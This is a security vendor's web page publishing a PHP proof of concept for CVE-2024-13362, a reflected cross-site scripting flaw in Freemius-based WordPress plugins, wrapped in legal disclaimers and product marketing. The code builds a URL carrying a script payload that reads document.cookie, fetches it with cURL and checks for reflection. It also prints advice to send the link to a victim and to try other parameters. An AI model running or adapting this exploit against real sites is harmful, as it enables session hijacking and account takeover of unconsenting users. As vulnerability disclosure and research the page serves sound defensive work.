Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
<?php
// Atomic Edge CVE Research - Proof of Concept
// CVE-2024-13362 - Reflected DOM-Based Cross-Site Scripting via url Parameter

// This PoC demonstrates reflected XSS via the url parameter in vulnerable Freemius-based plugins.
// It should work against any plugin or theme that echoes the Freemius url parameter without escaping.

$target_url = 'http://example.com'; // Change this to the vulnerable WordPress site URL

// The vulnerable endpoint typically appears as a Freemius redirect or connect URL.
// Adjust the parameter name and path as needed for the specific vulnerable plugin.
$vulnerable_path = '/?freemius_contact=1&url=';

// Malicious payload: inject script that alerts the document cookie
$payload = '<script>alert(document.cookie)</script>';

// URL-encode the payload fully
$encoded_payload = urlencode($payload);

// Construct the full malicious URL
$malicious_url = $target_url . $vulnerable_path . $encoded_payload;

echo "[+] Atomic Edge CVE-2024-13362 PoCn";
echo "[+] Target: " . $target_url . "n";
echo "[+] Crafted malicious URL: " . $malicious_url . "nn";
echo "[-] To test: Send this link to a victim or open it in a browser where XSS is visible.n";
echo "[-] Expected: The injected JavaScript (alert(document.cookie)) should execute.nn";

// Use cURL to send the request and check for reflected payload
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $malicious_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

if ($http_code !== 200) {
    echo "[!] HTTP request failed or returned HTTP code $http_code.n";
    exit(1);
}

// Check if the payload is reflected in the response
if (strpos($response, $payload) !== false) {
    echo "[+] SUCCESS: The XSS payload was reflected in the response.n";
    echo "[+] The website is likely vulnerable to CVE-2024-13362.n";
} else {
    echo "[-] FAIL: The payload was not found in the response. The site may be patched or uses a different parameter.n";
    echo "[-] Tip: Try different parameters (e.g., 'redirect_to', 'return_url') or different paths (e.g., '/wp-admin/admin-ajax.php').n";
}
?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School